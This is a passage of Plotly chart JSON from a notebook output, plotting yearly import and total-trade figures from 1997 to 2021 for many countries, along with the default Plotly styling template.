"2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.78, - 0.63, - 0.24, - 0.52, - 4.52, - 3.77, - 11.52, - 12.9, - 17.58, - 15.06, - 28.4, - 28.94, - 14.73, - 40.16, - 30.31, - 29.2, - 36.08, - 31.35, - 43.2, - 58.67, - 45.05, - 40.95, - 38.41, - 38.43 - ] - }, - { - "mode": "lines", - "name": "GEORGIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.01, - 0.58, - 0.03, - 6.74, - 5.43, - 15.42, - 19.87, - 74.36, - 10.68, - 16.52, - 10.3, - 37.83, - 58.91, - 57.53, - 23.82, - 18.35, - 24.47, - 31.52, - 27.04, - 22.18, - 11.4, - 86.9, - 22.3 - ] - }, - { - "mode": "lines", - "name": "GREECE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 30.1, - 10.34, - 21.43, - 22, - 29.57, - 22.81, - 47.09, - 23.82, - 56.37, - 211.52, - 126.2, - 69.49, - 154.13, - 93.39, - 110.95, - 111.87, - 109.44, - 127.75, - 111.03, - 121.95, - 96.11, - 144.02, - 123.71, - 143.02, - 245.37 - ] - }, - { - "mode": "lines", - "name": "GIBRALTAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.43, - 0, - 0, - 0.36, - 0.01, - 0.25, - 0, - 0, - 11.57, - 0.06, - 0.09, - 0.13, - 0, - 0, - 0, - 0.01, - 0.03, - 1.01, - 0.46, - 0.18 - ] - }, - { - "mode": "lines", - "name": "GERMANY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2528.3, - 2140.68, - 1840.99, - 1759.59, - 2028.1, - 2404.53, - 2918.56, - 4015.35, - 6023.63, - 7552.64, - 9884.83, - 12006.02, - 10318.18, - 11891.37, - 15601.13, - 14325.79, - 12932.41, - 12787.86, - 12088.37, - 11583.67, - 13295.71, - 15161.08, - 13691.11, - 13643.02, - 10584.65 - ] - }, - { - "mode": "lines", - "name": "FR GUIANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.39, - 0.38, - 1.5, - 0.47, - 3.76, - 0, - 0, - 0, - 0.4, - 0.16, - 1.92, - 5.6, - 0.61, - 0.21, - 106.46, - 1.38, - 2.47, - 1.41, - 1.16, - 1.45, - 0.85, - 1.82, - 2.9, - 1.29, - 0.15 - ] - }, - { - "mode": "lines", - "name": "HONDURAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.03, - 0, - 0.06, - 0.34, - 0.08, - 0, - 0.23, - 0.31, - 1.7, - 2.13, - 4.66, - 25.34, - 1.43, - 7.77, - 17.82, - 22.59, - 25.31, - 15.91, - 22.16, - 13.32, - 18.25, - 19.32, - 12.56, - 16.92 - ] - }, - { - "mode": "lines", - "name": "FINLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 175.79, - 177.98, - 138.76, - 207.39, - 162.09, - 199, - 270.09, - 388.81, - 583.48, - 609.79, - 927.98, - 1219.64, - 1010.66, - 1653.02, - 2103.57, - 1106.85, - 1054.09, - 917.48, - 1002.37, - 1011.67, - 1401.33, - 1124.08, - 625.65, - 713.2, - 519.45 - ] - }, - { - "mode": "lines", - "name": "HONG KONG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 316.26, - 449.31, - 817.9, - 852.11, - 728.86, - 972.59, - 1492.68, - 1730.13, - 2206.98, - 2484.05, - 2697.61, - 6451.89, - 4734.3, - 9415.4, - 10408.71, - 7907.17, - 7322.2, - 5571.99, - 6051.66, - 8204.18, - 10675.98, - 17987.01, - 16935.32, - 15172.82, - 13761.52 - ] - }, - { - "mode": "lines", - "name": "JAPAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2144.9, - 2465.72, - 2535.8, - 1842.19, - 2146.44, - 1836.33, - 2667.68, - 3235.13, - 4061.1, - 4599.54, - 6325.92, - 7886.27, - 6734.18, - 8632.03, - 11999.43, - 12412.29, - 9480.75, - 10131.36, - 9850.22, - 9754.64, - 10973.35, - 12772.67, - 12434.67, - 10924.74, - 10855.09 - ] - }, - { - "mode": "lines", - "name": "JAMAICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.27, - 0.07, - 0.07, - 0.71, - 0.15, - 0.92, - 2.65, - 2.14, - 0.6, - 22.86, - 1.11, - 0.65, - 0.77, - 1.62, - 2.4, - 0.9, - 1.78, - 1.55, - 1.17, - 4.35, - 5.01, - 2.96, - 2.23, - 1.43 - ] - }, - { - "mode": "lines", - "name": "EQUTL GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.01, - 0.26, - 0.72, - 0.07, - 0.11, - 167.55, - 0.2, - 269.09, - 0.12, - 206.02, - 524.83, - 301.82, - 749.38, - 457.3, - 797.85, - 755.64, - 634.12, - 972.88, - 286.79, - 732.89 - ] - }, - { - "mode": "lines", - "name": "ITALY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 894.25, - 1088.26, - 733.95, - 723.58, - 704.78, - 811.99, - 1071.03, - 1373.1, - 1855.63, - 2676.03, - 3906.72, - 4428.19, - 3862.06, - 4256.02, - 5121.69, - 4711.27, - 4156.61, - 4231.81, - 4072.22, - 3895.01, - 4706.89, - 5292.38, - 4490.92, - 3862.05, - 3694.94 - ] - }, - { - "mode": "lines", - "name": "ISRAEL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 335.63, - 350.27, - 581.94, - 432.48, - 427.75, - 602.68, - 669.75, - 988.11, - 1031.19, - 1080.59, - 1425.94, - 2090.41, - 1885.06, - 2253.51, - 2635.34, - 2356.66, - 2311.58, - 2328.04, - 2095.33, - 1961.12, - 2066.51, - 1931.58, - 1592.7, - 1960.19, - 2138.47 - ] - }, - { - "mode": "lines", - "name": "ESTONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.64, - 0.85, - 0.32, - 6.42, - 0.68, - 0.24, - 0.72, - 9.02, - 25.98, - 10.72, - 15.55, - 32.94, - 44.9, - 231.74, - 219.9, - 115.3, - 118.06, - 142.04, - 102.47, - 60.54, - 108.21, - 54.06, - 59.96, - 55.36 - ] - }, - { - "mode": "lines", - "name": "IRELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 35.67, - 40.18, - 55.68, - 72, - 84.94, - 97.98, - 131.13, - 183.15, - 161.91, - 289.51, - 260.32, - 239.06, - 264.82, - 259.26, - 411.38, - 497.15, - 558.38, - 533.19, - 551.51, - 525.82, - 795.01, - 422.52, - 604.15, - 414.46, - 978.98 - ] - }, - { - "mode": "lines", - "name": "ETHIOPIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.77, - 0.29, - 0.87, - 3.84, - 18.39, - 10.55, - 7.54, - 10.26, - 8.52, - 11.42, - 13.62, - 11.06, - 18.59, - 32.74, - 29.25, - 38.56, - 28.4, - 44.26, - 60.99, - 67.07, - 47.45, - 55.01, - 98.55, - 32.64, - 52.62 - ] - }, - { - "mode": "lines", - "name": "IRAQ", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 185.41, - 151.17, - 199.72, - 6.9, - 0.04, - 0.03, - 0.14, - 1.12, - 2.05, - 5514.41, - 6837.8, - 7709.94, - 7026.93, - 9008.3, - 18918.47, - 19247.31, - 18520.86, - 14247.66, - 10837.58, - 11707.94, - 17615.81, - 22372.47, - 23740.18, - 14287.1, - 21735.51 - ] - }, - { - "mode": "lines", - "name": "IRAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 633.01, - 473.73, - 1089.46, - 211.23, - 283.82, - 258.3, - 266.82, - 410.21, - 702.46, - 7618.55, - 10943.61, - 12376.77, - 11540.85, - 10928.21, - 13790.16, - 11594.46, - 10307.16, - 8955.02, - 6278.75, - 10506.51, - 11111.52, - 13525.64, - 1397.33, - 331.48, - 295.47 - ] - }, - { - "mode": "lines", - "name": "INDONESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 731.63, - 829.1, - 953.7, - 910.24, - 1036.81, - 1380.87, - 2122.06, - 2617.74, - 3008.11, - 4181.96, - 4821.25, - 6666.34, - 8656.66, - 9918.63, - 14765.93, - 14879.49, - 14748.3, - 15004.64, - 13131.93, - 13427.99, - 16438.8, - 15849.67, - 15061.87, - 12470.17, - 12819.28 - ] - }, - { - "mode": "lines", - "name": "FAROE IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 0, - 0.04, - 0, - 0.02, - 0, - 0, - 0.02, - 0.03, - 0.18, - 0.02, - 0.06, - 7.36, - 0.04, - 0, - 0, - 0.07, - 0.04, - 0.01, - 0.01, - 0.03, - 0, - 0, - 0 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 3.05, - 4.05, - 7.74, - 11.81, - 10.89, - 10.37, - 15.3, - 38.51, - 34.67, - 92.13, - 199.67, - 228.42, - 314.74, - 242.13, - 746.63, - 608.55, - 1260.72, - 308.96, - 110.47, - 501.93, - 626.29, - 191.34, - 327.12, - 279.88, - 37.57 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "AZERBAIJAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.05, - 4.05, - 7.74, - 11.81, - 10.89, - 10.37, - 15.3, - 38.51, - 34.67, - 92.13, - 199.67, - 228.42, - 314.74, - 242.13, - 746.63, - 608.55, - 1260.72, - 308.96, - 110.47, - 501.93, - 626.29, - 191.34, - 327.12, - 279.88, - 37.57 - ] - }, - { - "mode": "lines", - "name": "BAHAMAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.7, - 1.43, - 2.41, - 0, - 3.53, - 3.3, - 50.95, - 9.57, - 73.21, - 17.75, - 42.6, - 884.27, - 2177.68, - 2247.06, - 2772.14, - 722.23, - 124.17, - 89.19, - 264.76, - 48.34, - 45.27, - 75.18, - 40.4, - 8.78 - ] - }, - { - "mode": "lines", - "name": "BAHARAIN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 194.12, - 527.28, - 219.39, - 281.19, - 209.6, - 220.67, - 186.15, - 278.33, - 381.81, - 655.75, - 1087.89, - 1729.34, - 753.07, - 1293.08, - 1345.97, - 1268.13, - 1202.6, - 919.23, - 1011.04, - 762.4, - 987.94, - 1281.77, - 980.6, - 1075.74, - 1277.74 - ] - }, - { - "mode": "lines", - "name": "BANGLADESH PR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 837.28, - 1058.04, - 714.46, - 1015.55, - 1061.3, - 1238.05, - 1818.37, - 1690.49, - 1791.39, - 1857.57, - 3180.74, - 2810.98, - 2688.44, - 3689.66, - 4374.93, - 5784.31, - 6651.27, - 7072.84, - 6762.09, - 7521.79, - 9299.99, - 10254.86, - 9465.49, - 10783.22, - 12442.42 - ] - }, - { - "mode": "lines", - "name": "BARBADOS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.53, - 2.96, - 3.6, - 3.08, - 1.08, - 2.47, - 1.24, - 1.75, - 2.35, - 2.8, - 2.55, - 3.96, - 4.51, - 5.6, - 8.34, - 5.97, - 6.56, - 10.36, - 10.67, - 12.53, - 12.94, - 14.18, - 14.24, - 11.71, - 11.64 - ] - }, - { - "mode": "lines", - "name": "BELARUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.68, - 1.93, - 3.9, - 6.14, - 7.11, - 13.01, - 13.23, - 22.93, - 50.08, - 108.02, - 146.1, - 316.13, - 470, - 240.62, - 299.89, - 269.81, - 211.11, - 230.31, - 200.63, - 210.73, - 255.39, - 282.91, - 203.21, - 349.95, - 312.92 - ] - }, - { - "mode": "lines", - "name": "BELGIUM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - 